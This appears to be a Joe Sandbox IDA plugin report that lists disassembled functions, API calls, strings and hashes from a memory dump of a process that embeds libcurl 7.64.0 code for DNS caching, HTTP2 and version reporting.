API String ID: 2140967147-2427311273
Opcode ID: bc338b6ba22888282b6f2e09299d8234686aa112bad8fd201b28847ea183889a
Instruction ID: e3263d35f0ec00841b05577842c085859dd223785020da00bf98f0261210af16
Opcode Fuzzy Hash: bc338b6ba22888282b6f2e09299d8234686aa112bad8fd201b28847ea183889a
Instruction Fuzzy Hash: 7751D5B2904341ABE7306F25DD8575B77A1AF90318F084438F9DE97292E73AD894CB62

Function 00DED940 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 135stringCOMMON

Download Yara Rule

APIs

tolower.MSVCRT ref: 00DED971
strlen.MSVCRT ref: 00DED985
time.MSVCRT(?), ref: 00DED9CB
strlen.MSVCRT ref: 00DEDA75

Strings

Hostname in DNS cache was stale, zapped, xrefs: 00DED9F6
%s:%d, xrefs: 00DED94E, 00DEDA42

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen$timetolower
String ID: %s:%d$Hostname in DNS cache was stale, zapped
API String ID: 2483798501-2902227024
Opcode ID: c8cb6f2ad4a5ac994ed8b9b84a30ebbe011f6132d96e723fc1bf56daae987a6e
Instruction ID: 4e25469b6776b8201c01e845bd3bccf94a30918d2a49dffde2e3f697efa8f5d1
Opcode Fuzzy Hash: c8cb6f2ad4a5ac994ed8b9b84a30ebbe011f6132d96e723fc1bf56daae987a6e
Instruction Fuzzy Hash: 804117B1A083816FE7207AB65D8093A77DADF60314F184139ED98C6202FE35DE5587B2

Function 01047A00 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 01047A8D

Strings

@, xrefs: 01047AD8
Address %p has no image-section, xrefs: 01047B3B
VirtualQuery failed for %d bytes at address %p, xrefs: 01047B27
VirtualProtect failed with code 0x%x, xrefs: 01047AFA

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$@$Address %p has no image-section
API String ID: 1804819252-1098444051
Opcode ID: efb05d89f4c30a613bfb4447feb75ae3eece5927b50b6fd235e37d14d3d01d36
Instruction ID: 15b46824f359019bbfa0aad34fbd59a45757ea8f8995651956294261287b7b1e
Opcode Fuzzy Hash: efb05d89f4c30a613bfb4447feb75ae3eece5927b50b6fd235e37d14d3d01d36
Instruction Fuzzy Hash: B5418BB19053018FC724DFB8D6C465AFBE0FF84260F458A79DAA89B319E370E945CB91

Function 00DC9CA0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102stringfileCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DC9CAE
strlen.MSVCRT ref: 00DC9CDE
fputs.MSVCRT ref: 00DC9D17
fwrite.MSVCRT ref: 00DC9D63
fputc.MSVCRT ref: 00DC9D70

Strings

Warning: , xrefs: 00DC9CAD

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen$fputcfputsfwrite
String ID: Warning:
API String ID: 810330193-3119939844
Opcode ID: 7849886589fbe4ce221ccb0b19a7553dd73ce238e73c5991d0fd55790018465a
Instruction ID: abae1890da34d3ba166685a9b22ad8361d9ecf8e2e2f819d773002932c0883a3
Opcode Fuzzy Hash: 7849886589fbe4ce221ccb0b19a7553dd73ce238e73c5991d0fd55790018465a
Instruction Fuzzy Hash: C12185B2804302ABDB11BF64D985B6AF7A5EFA4701F08493DE98953211E632E914C7B3

Function 00DE1D10 Relevance: 12.3, APIs: 3, Strings: 5, Instructions: 348stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DE1DB1
memcpy.MSVCRT(00000000,?,?), ref: 00DE1DE8
memset.MSVCRT ref: 00DE2055

Strings

----, xrefs: 00DE1F80
----, xrefs: 00DE1F72
----, xrefs: 00DE1F6B
----, xrefs: 00DE1F64
----, xrefs: 00DE1F79

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: ----$----$----$----$----
API String ID: 160209724-1149513683
Opcode ID: 50849ea3d71ee374a834f9c96679cb1800f1191a307efd7cfc67ecb4ef15bed9
Instruction ID: dc19e1c705bd85fe50653bf76f4dded29d445253d07e3476dee4e726eac2bb7b
Opcode Fuzzy Hash: 50849ea3d71ee374a834f9c96679cb1800f1191a307efd7cfc67ecb4ef15bed9
Instruction Fuzzy Hash: 09D18DB19003419FE7209F16D984B26BBF8BF44308F094568ED499B342E77AE954CFE2

Function 00DC5750 Relevance: 12.1, APIs: 8, Instructions: 143stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00DC5766
calloc.MSVCRT ref: 00DC5787
_fileno.MSVCRT ref: 00DC57BB
ftell.MSVCRT ref: 00DC57D1
_fstati64.MSVCRT(00000000,?), ref: 00DC57EE
free.MSVCRT ref: 00DC58CF
free.MSVCRT ref: 00DC58D8

Part of subcall function 00DE22F0: _stati64.MSVCRT(00DC5779,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00DE2377
Part of subcall function 00DE22F0: _access.MSVCRT ref: 00DE2387
Part of subcall function 00DE22F0: strrchr.MSVCRT ref: 00DE2427
Part of subcall function 00DE22F0: strrchr.MSVCRT ref: 00DE2438

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: freestrrchr$_access_fileno_fstati64_stati64callocftellstrcmp
String ID:
API String ID: 3818478975-0
Opcode ID: 472d1f432acf0d8faa4cfc147f11a50d0c4a4924c72f41e899ff32eecdb9f15d
Instruction ID: c968d2532ab0e6350db1887cb2c1ae48cc0b4e521734cc7a6798e2949de93a8e
Opcode Fuzzy Hash: 472d1f432acf0d8faa4cfc147f11a50d0c4a4924c72f41e899ff32eecdb9f15d
Instruction Fuzzy Hash: 3F41E5F1E007126BEB106B65AC42F2BB6A8AF54354F08453CE849D7241F775F9648BF2

Function 00DE0380 Relevance: 10.8, APIs: 3, Strings: 4, Instructions: 319COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?), ref: 00DE041C
memmove.MSVCRT(?,?,?), ref: 00DE0459
memcpy.MSVCRT(?,?,?), ref: 00DE0508

Strings

%zd data bytes written, xrefs: 00DE051D
Q, xrefs: 00DE06B4
Failed receiving HTTP2 data, xrefs: 00DE07F7
nghttp2_session_mem_recv() returned %zd:%s, xrefs: 00DE05F0

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memcpy$memmove
String ID: %zd data bytes written$Failed receiving HTTP2 data$Q$nghttp2_session_mem_recv() returned %zd:%s
API String ID: 1283327689-1364855282
Opcode ID: 5c382d17074809b116bb4fa9fc03b688b1977273ee7c8addea8ac1e8e9a1b03f
Instruction ID: a07ca0b14a165ebccd4fed115b60ef3ba00c86eb6f744a8b3bf95ed3b76dfafa
Opcode Fuzzy Hash: 5c382d17074809b116bb4fa9fc03b688b1977273ee7c8addea8ac1e8e9a1b03f
Instruction Fuzzy Hash: AED16C74604786AFD314EF15C884BAABBE4FF84304F18457CE8998B251D7B1ED94CBA2

Function 00DE2FE0 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DE30A0
memcpy.MSVCRT(?,?,00000002), ref: 00DE30E4
memmove.MSVCRT(?,?,?), ref: 00DE319E
memcpy.MSVCRT(?,?,00000002,?,00000000,?,?,00000000,00DE2CAD,?), ref: 00DE3258
fclose.MSVCRT ref: 00DE331E

Strings

Content-Type, xrefs: 00DE305A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memcpy$fclosememmovestrlen
String ID: Content-Type
API String ID: 3890074660-2058190213
Opcode ID: a247e25a8fc476d0ded9c71636dd21f18de063fa363f769175afbf8fc58e3272
Instruction ID: 4fecae26e1fdd7c2c4cc32e71aa074cccf328da76f2a9b2f72a8519e7cae072c
Opcode Fuzzy Hash: a247e25a8fc476d0ded9c71636dd21f18de063fa363f769175afbf8fc58e3272
Instruction Fuzzy Hash: E3918FB150878AAFD710EF66C988B76B7E4FF14314F04452CE98987640E7B1EA18CBE5

Function 00E155E0 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 151stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00E1563D
strlen.MSVCRT ref: 00E15652
strchr.MSVCRT ref: 00E15669
strchr.MSVCRT ref: 00E156AA
strchr.MSVCRT ref: 00E156BC
strchr.MSVCRT ref: 00E156FC

Strings

xn--, xrefs: 00E156CE

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strchr$strlen
String ID: xn--
API String ID: 842768466-2826155999
Opcode ID: a15f42c8112cf58bbdbe7122d2a5d543be7c5038dcc959ad0675bf9e79f69333
Instruction ID: c720259d9e14f7fe37d27b942dc38c5f90bc704ff88331651f0b47bab3b39f43
Opcode Fuzzy Hash: a15f42c8112cf58bbdbe7122d2a5d543be7c5038dcc959ad0675bf9e79f69333
Instruction Fuzzy Hash: A2412AF6A00B41B7FB2066355D8ABBB368CDF91748F08103AFD49D12C2FA55D994C2B2

Function 00DD1AF0 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DD1B32

Part of subcall function 00DE8AE0: memcpy.MSVCRT(?,OpenSSL/1.1.1a (Schannel),0000001A,?,?,?,?,00DD1C39,OpenSSL/1.1.1a (Schannel),00000050,00DCEECE,00000004,?,?,?,00DC8BA3), ref: 00DE8B9B

Strings

brotli/, xrefs: 00DD1B85
%u.%u.%u, xrefs: 00DD1BBA
libcurl/7.64.0 OpenSSL/1.1.1a (Schannel) zlib/1.2.11 brotli/1.0.7 WinIDN libssh2/1.8.0 nghttp2/1.36.0, xrefs: 00DD1B2D, 00DD1B78, 00DD1B90, 00DD1BC0, 00DD1BD3, 00DD1BF1, 00DD1BFF, 00DD1C11
zlib/%s, xrefs: 00DD1B72
libssh2/%s, xrefs: 00DD1BEB
WinIDN, xrefs: 00DD1BCD

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memcpystrlen
String ID: WinIDN$ brotli/$ libssh2/%s$ zlib/%s$%u.%u.%u$libcurl/7.64.0 OpenSSL/1.1.1a (Schannel) zlib/1.2.11 brotli/1.0.7 WinIDN libssh2/1.8.0 nghttp2/1.36.0
API String ID: 3412268980-1275948520
Opcode ID: 3b1f7826c404d20be5b95e8a6a7bc2b7669d7502fe35debf707df0439b97b76d
Instruction ID: 533b0b9302ec3e2b153e007a3c78ad2f5be5b6fabd4957ef93dbfc1693f1a161
Opcode Fuzzy Hash: 3b1f7826c404d20be5b95e8a6a7bc2b7669d7502fe35debf707df0439b97b76d
Instruction Fuzzy Hash: 5C2157B7E001427AE32433756D0AEB7B99DCF91244F1A0139F80467A46FAA91548C3F2

Function 00DF6FB0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 75filestringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DF7002
strlen.MSVCRT ref: 00DF7039
fwrite.MSVCRT ref: 00DF7087
fwrite.MSVCRT ref: 00DF7099

Strings

..., xrefs: 00DF7018
..., xrefs: 00DF7028

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: fwritestrlen
String ID: ...$...
API String ID: 735340043-2253869979
Opcode ID: 86bbb4af7b41c06bc08784cda84e9c8e71b879cf8026f8adbd03729d791dbdc8
Instruction ID: 3def29edc609948180d3bcc666dba6e78f3e999b56f54117e45b78f2487aae42
Opcode Fuzzy Hash: 86bbb4af7b41c06bc08784cda84e9c8e71b879cf8026f8adbd03729d791dbdc8
Instruction Fuzzy Hash: 8621F9B2E446047BEA3066609C86FF7B668FF61715F084428F6C815182FA72616487F3

Function 00DE18C0 Relevance: 10.6, APIs: 7, Instructions: 73COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00DE1909
VerSetConditionMask.KERNEL32(00000000,00000000,00000002,?), ref: 00DE193C
VerSetConditionMask.KERNEL32(00000000,?,00000001,?), ref: 00DE1943
VerSetConditionMask.KERNEL32(00000000,?,00000020,?,?,00000001,?), ref: 00DE194D
VerSetConditionMask.KERNEL32(00000000,?,00000010,?,?,00000020,?,?,00000001,?), ref: 00DE1954
VerSetConditionMask.KERNEL32(00000000,?,00000008,00000001,?,00000010,?,?,00000020,?,?,00000001,?), ref: 00DE1960
VerifyVersionInfoA.KERNEL32(?,00000033,00000000), ref: 00DE196D

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 4abcdf362559abaa8289945a5b67a006f4d72a3a7ba2b7bb67394ac6f8a5be4c
Instruction ID: 40dbd38f869859cbd40706b85c7c8f228123e31a90fbffe9233a42ff3dc76517
Opcode Fuzzy Hash: 4abcdf362559abaa8289945a5b67a006f4d72a3a7ba2b7bb67394ac6f8a5be4c
Instruction Fuzzy Hash: A711D0B9A403447BF2306A319C45F7BBBACEBC4B54F05482CF5889B2C1C2B2A804C731

Function 00DCE6F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00DCE708
strrchr.MSVCRT ref: 00DCE71B
strrchr.MSVCRT ref: 00DCE728
_strdup.MSVCRT(?), ref: 00DCE750
free.MSVCRT ref: 00DCE770

Strings

://, xrefs: 00DCE702

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strrchr$_strdupfreestrstr
String ID: ://
API String ID: 1310700620-1869659232
Opcode ID: 3f2c678b7ae8880d99592dcb90713a66836daa0eb208989584c3086f30975c07
Instruction ID: a7cbfddf37188b72b112485b519a3b4e1cbd8b5e2d5b83888d5864f11c1065ba
Opcode Fuzzy Hash: 3f2c678b7ae8880d99592dcb90713a66836daa0eb208989584c3086f30975c07
Instruction Fuzzy Hash: 3A117CF6A003136BFB216A249C95FAB7B988F60660F180539EC45DB390F625DD1487F2

Function 00DC9740 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(APPDATA,?,00000400), ref: 00DC975C
strchr.MSVCRT ref: 00DC9775
ExpandEnvironmentStringsA.KERNEL32(APPDATA,?,00000400), ref: 00DC978A
strchr.MSVCRT ref: 00DC979B
_strdup.MSVCRT(?), ref: 00DC97BF

Strings

APPDATA, xrefs: 00DC975B, 00DC9774, 00DC9789

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: Environmentstrchr$ExpandStringsVariable_strdup
String ID: APPDATA
API String ID: 69599419-4054820676
Opcode ID: d10aae4a744855439c80d0da47a554773a0f448b0f0ac44ca89986fba95c7e5f
Instruction ID: 96ae94731b8161b0f8505a8694e35694bb8bb75daa0aa88aeff4fff7920ba4de
Opcode Fuzzy Hash: d10aae4a744855439c80d0da47a554773a0f448b0f0ac44ca89986fba95c7e5f
Instruction Fuzzy Hash: 540124A2F512473BFB313A706C9CFBAB48CCB51755F08003DEE8A971D0F569884942B2

Function 00DC9550 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 49COMMON

Download Yara Rule

APIs

puts.MSVCRT ref: 00DC9572
printf.MSVCRT ref: 00DC9597
puts.MSVCRT ref: 00DC95B3

Strings

<none>, xrefs: 00DC95AE
Build-time engines:, xrefs: 00DC956D
%s, xrefs: 00DC9592

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: puts$printf
String ID: %s$ <none>$Build-time engines:
API String ID: 1383214260-2903797034
Opcode ID: 11b30a8a5fd8bcea03b1c3e5962648f606c1486e3302bbcd0a999c05d0e89604
